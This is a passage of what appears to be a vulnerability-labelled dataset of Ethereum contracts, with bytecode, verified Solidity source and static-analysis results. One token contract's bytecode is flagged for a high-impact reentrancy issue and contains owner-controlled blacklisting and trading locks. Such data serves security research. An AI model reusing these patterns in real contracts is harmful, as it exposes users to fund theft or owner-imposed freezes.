80fd5b506101f1610374366004611992565b6107db565b34801561038557600080fd5b506101f1610394366004611bb3565b610826565b3480156103a557600080fd5b506101f161086e565b3480156103ba57600080fd5b506102b96103c9366004611992565b6108b9565b3480156103da57600080fd5b506101f16108db565b3480156103ef57600080fd5b506101f16103fe366004611bcd565b61094f565b34801561040f57600080fd5b506102b960165481565b34801561042557600080fd5b506000546001600160a01b0316610289565b34801561044357600080fd5b506101f1610452366004611bb3565b61097e565b34801561046357600080fd5b506102b960175481565b34801561047957600080fd5b5060408051808201909152600381526214d25560ea1b6020820152610223565b3480156104a557600080fd5b506101f16104b4366004611bcd565b6109c6565b3480156104c557600080fd5b506101f16104d4366004611be5565b6109f5565b3480156104e557600080fd5b506102596104f4366004611a42565b610a33565b34801561050557600080fd5b50610259610514366004611992565b60106020526000908152604090205460ff1681565b34801561053557600080fd5b506101f1610a40565b34801561054a57600080fd5b506101f1610559366004611a6d565b610a94565b34801561056a57600080fd5b506102b96105793660046119ca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b057600080fd5b506101f16105bf366004611bcd565b610b43565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c69565b60405180910390fd5b60005b815181101561066d5760016010600084848151811061062957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611d7c565b9150506105fa565b5050565b600061067e338484610b72565b5060015b92915050565b6000610695848484610c96565b6106e784336106e285604051806060016040528060288152602001611dd9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d2565b610b72565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016105ee90611c69565b6001600160a01b0381166107805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108055760405162461bcd60e51b81526004016105ee90611c69565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108505760405162461bcd60e51b81526004016105ee90611c69565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806108a357506013546001600160a01b0316336001600160a01b0316145b6108ac57600080fd5b476108b68161120c565b50565b6001600160a01b03811660009081526002602052604081205461068290611291565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016105ee90611c69565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109795760405162461bcd60e51b81526004016105ee90611c69565b601655565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016105ee90611c69565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109f05760405162461bcd60e51b81526004016105ee90611c69565b601855565b6000546001600160a01b03163314610a1f5760405162461bcd60e51b81526004016105ee90611c69565b600893909355600a91909155600955600b55565b600061067e338484610c96565b6012546001600160a01b0316336001600160a01b03161480610a7557506013546001600160a01b0316336001600160a01b0316145b610a7e57600080fd5b6000610a89306108b9565b90506108b681611315565b6000546001600160a01b03163314610abe5760405162461bcd60e51b81526004016105ee90611c69565b60005b82811015610b3d578160056000868685818110610aee57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b039190611992565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3581611d7c565b915050610ac1565b50505050565b6000546001600160a01b03163314610b6d5760405162461bcd60e51b81526004016105ee90611c69565b601755565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156110cb57601554600160a01b900460ff16610e83576000546001600160a01b03848116911614610e835760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610ed55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1757506001600160a01b03821660009081526010602052604090205460ff16155b610f6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610ff45760175481610f91846108b9565b610f9b9190611d0e565b10610ff45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fff306108b9565b6018546016549192508210159082106110185760165491505b80801561102f5750601554600160a81b900460ff16155b801561104957506015546001600160a01b03868116911614155b801561105e5750601554600160b01b900460ff165b801561108357506001600160a01b03851660009081526005602052604090205460ff16155b80156110a857506001600160a01b03841660009081526005602052604090205460ff16155b156110c8576110b682611315565b4780156110c6576110c64761120c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110d57506001600160a01b03831660009081526005602052604090205460ff165b8061113f57506015546001600160a01b0385811691161480159061113f57506015546001600160a01b03848116911614155b1561114c575060006111c6565b6015546001600160a01b03858116911614801561117757506014546001600160a01b03848116911614155b1561118957600854600c55600954600d555b6015546001600160a01b0384811691161480156111b457506014546001600160a01b03858116911614155b156111c657600a54600c55600b54600d555b610b3d848484846114ba565b600081848411156111f65760405162461bcd60e51b81526004016105ee9190611c16565b5060006112038486611d65565b95945050505050565b6012546001600160a01b03166108fc6112268360026114e8565b6040518115909202916000818181858888f1935050505015801561124e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112698360026114e8565b6040518115909202916000818181858888f1935050505015801561066d573d6000803e3d6000fd5b60006006548211156112f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b600061130261152a565b905061130e83826114e8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f791906119ae565b8160018151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143e9130911684610b72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611477908590600090869030904290600401611c9e565b600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c7576114c761154d565b6114d284848461157b565b80610b3d57610b3d600e54600c55600f54600d55565b600061130e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b60008060006115376116a0565b909250905061154682826114e8565b9250505090565b600c5415801561155d5750600d54155b1561156457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158d876116e2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf908761173f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee9086611781565b6001600160a01b038916600090815260026020526040902055611610816117e0565b61161a848361182a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600081836116935760405162461bcd60e51b81526004016105ee9190611c16565b5060006112038486611d26565b6006546000908190681211ede497365712006116bc82826114e8565b8210156116d957505060065492681211ede4973657120092509050565b90939092509050565b60008060008060008060008060006116ff8a600c54600d5461184e565b925092509250600061170f61152a565b905060008060006117228e8787876118a3565b919e509c509a509598509396509194505050505091939550919395565b600061130e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b60008061178e8385611d0e565b90508381101561130e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117ea61152a565b905060006117f883836118f3565b306000908152600260205260409020549091506118159082611781565b30600090815260026020526040902055505050565b600654611837908361173f565b6006556007546118479082611781565b6007555050565b6000808080611868606461186289896118f3565b906114e8565b9050600061187b60646118628a896118f3565b905060006118938261188d8b8661173f565b9061173f565b9992985090965090945050505050565b60008080806118b288866118f3565b905060006118c088876118f3565b905060006118ce88886118f3565b905060006118e08261188d868661173f565b939b939a50919850919650505050505050565b60008261190257506000610682565b600061190e8385611d46565b90508261191b8583611d26565b1461130e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561197d81611dc3565b919050565b8035801515811461197d57600080fd5b6000602082840312156119a3578081fd5b813561130e81611dc3565b6000602082840312156119bf578081fd5b815161130e81611dc3565b600080604083850312156119dc578081fd5b82356119e781611dc3565b915060208301356119f781611dc3565b809150509250929050565b600080600060608486031215611a16578081fd5b8335611a2181611dc3565b92506020840135611a3181611dc3565b929592945050506040919091013590565b60008060408385031215611a54578182fd5b8235611a5f81611dc3565b946020939093013593505050565b600080600060408486031215611a81578283fd5b833567ffffffffffffffff80821115611a98578485fd5b818601915086601f830112611aab578485fd5b813581811115611ab9578586fd5b8760208260051b8501011115611acd578586fd5b602092830195509350611ae39186019050611982565b90509250925092565b60006020808385031215611afe578182fd5b823567ffffffffffffffff80821115611b15578384fd5b818501915085601f830112611b28578384fd5b813581811115611b3a57611b3a611dad565b8060051b604051601f19603f83011681018181108582111715611b5f57611b5f611dad565b604052828152858101935084860182860187018a1015611b7d578788fd5b8795505b83861015611ba657611b9281611972565b855260019590950194938601938601611b81565b5098975050505050505050565b600060208284031215611bc4578081fd5b61130e82611982565b600060208284031215611bde578081fd5b5035919050565b60008060008060808587031215611bfa578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4257858101830151858201604001528201611c26565b81811115611c535783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ced5784516001600160a01b031683529383019391830191600101611cc8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2157611d21611d97565b500190565b600082611d4157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6057611d60611d97565b500290565b600082821015611d7757611d77611d97565b500390565b6000600019821415611d9057611d90611d97565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108b657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e203329650b59cfdb35739b0d0ed46af38a387036eadc6990d258898741679864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 958 |
0x2CB0cF7882244f4A3B89aB42c5D9296BBed2685F | /**
*Submitted for verification at Etherscan.io on 2021-09-09
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: PaymentSplitter.sol
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
} | 0x6080604052600436106100595760003560e01c806319165587146100a55780633a98ef39146100c75780638b83209b146100f25780639852595c1461011f578063ce7c2ac21461013f578063e33b7de31461015f576100a0565b366100a0577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be770610087610174565b34604051610096929190610438565b60405180910390a1005b600080fd5b3480156100b157600080fd5b506100c56100c03660046103e6565b610178565b005b3480156100d357600080fd5b506100dc6102c5565b6040516100e99190610576565b60405180910390f35b3480156100fe57600080fd5b5061011261010d366004610409565b6102cb565b6040516100e99190610424565b34801561012b57600080fd5b506100dc61013a3660046103e6565b610309565b34801561014b57600080fd5b506100dc61015a3660046103e6565b610324565b34801561016b57600080fd5b506100dc61033f565b3390565b6001600160a01b0381166000908152600260205260409020546101b65760405162461bcd60e51b81526004016101ad90610451565b60405180910390fd5b6000600154476101c6919061057f565b6001600160a01b038316600090815260036020908152604080832054835460029093529083205493945091926101fc90856105b7565b6102069190610597565b61021091906105d6565b90508061022f5760405162461bcd60e51b81526004016101ad9061052b565b6001600160a01b03831660009081526003602052604090205461025390829061057f565b6001600160a01b03841660009081526003602052604090205560015461027a90829061057f565b6001556102878382610345565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b05683826040516102b8929190610438565b60405180910390a1505050565b60005490565b6000600482815481106102ee57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b031660009081526002602052604090205490565b60015490565b804710156103655760405162461bcd60e51b81526004016101ad906104f4565b6000826001600160a01b03168260405161037e90610421565b60006040518083038185875af1925050503d80600081146103bb576040519150601f19603f3d011682016040523d82523d6000602084013e6103c0565b606091505b50509050806103e15760405162461bcd60e51b81526004016101ad90610497565b505050565b6000602082840312156103f7578081fd5b813561040281610603565b9392505050565b60006020828403121561041a578081fd5b5035919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b6020808252603a908201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260408201527f6563697069656e74206d61792068617665207265766572746564000000000000606082015260800190565b6020808252601d908201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604082015260600190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b90815260200190565b60008219821115610592576105926105ed565b500190565b6000826105b257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156105d1576105d16105ed565b500290565b6000828210156105e8576105e86105ed565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461061857600080fd5b5056fea26469706673582212204d2043d8bee656daf5545703369a25ca4afb99d299e6e7735d224e15a070d33764736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 959 |
0x2170aff22d2457b4418b3cbb66c7ffc2c6a9751d | /**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File @openzeppelin/contracts/math/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File contracts/InstaVestingResolver.sol
interface TokenInterface {
function balanceOf(address account) external view returns (uint);
function delegate(address delegatee) external;
function transfer(address dst, uint rawAmount) external returns (bool);
}
interface InstaVestingInferface {
function owner() external view returns(address);
function recipient() external view returns(address);
function vestingAmount() external view returns(uint256);
function vestingBegin() external view returns(uint32);
function vestingCliff() external view returns(uint32);
function vestingEnd() external view returns(uint32);
function lastUpdate() external view returns(uint32);
function terminateTime() external view returns(uint32);
}
interface InstaVestingFactoryInterface {
function recipients(address) external view returns(address);
}
contract InstaTokenVestingResolver {
using SafeMath for uint256;
TokenInterface public constant token = TokenInterface(0x6f40d4A6237C257fff2dB00FA0510DeEECd303eb);
